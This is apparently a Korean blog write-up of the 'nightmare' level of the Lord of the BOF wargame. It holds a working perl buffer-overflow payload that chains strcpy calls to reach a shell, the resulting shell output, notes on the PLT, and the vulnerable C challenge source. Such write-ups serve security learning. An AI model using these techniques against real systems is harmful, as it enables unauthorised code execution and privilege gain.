[succubus@localhost succubus]$ ./nightmare `perl -e 'print "aaaa"x3,"\xe0\x8a\x05\x40","bbbb","\xf9\xbf\x0f\x40","\x10\x84\x04\x08"x6,"aaaa","\xa0\xfa\xff\xbf","\x7c\xfa\xff\xbf"'`
aaaaaaaaaaaa?@bbbb廈@??????aaaa????
bash$ my-pass
euid = 518
beg for me
bash$


.plt = Procedure Linkable Table 
함수들 링크가 가능한 테이블
프로그램이 호출하는 모든 함수가 나열되어 있다.
컴파일 타임에 생성되는 테이블로 어떠한 GOT 영역의 주소를 참조 할지 정해져 있음.

프로그램에서 함수를 호출할 때, 운영체제의 라이브러리에서 호출해오는데 libc의 버전에 따라 호출 형태나 링크 형태가 달라질 수 있기 때문에 그 영향을 받지 않기 위해서 함수의 기계어 코드를 실행 파일이 직접 가질 수 있게 하는 테이블임.

그런데 여기서

/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/
#include
#include
#include
#include
main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
        // check address
        addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }
        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
        // dangerous waterfall
        memset(buffer+40+8, 'A', 4);
}


문제 위에 plt라고 되어있던 부분은 plt를 찾아서 공부하란 의미인 것 같고, 실제 문제는 buffer+48부분에 AAAA로 덮는 부분이엇다.

이부분을 strcpy를 이용해 내가 원하는 데이터로 덮어버리면 성공


'Wargame > LOB (Redhat9)' 카테고리의 다른 글

xavius -> death_knight  (0) 2014.02.20
nightmare -> xavius  (0) 2014.02.20
zombie_assassin -> succubus  (0) 2014.02.20
assassin -> zombie_assassin  (0) 2014.02.20
giant -> assassin  (0) 2014.02.20
Posted by windowhan
,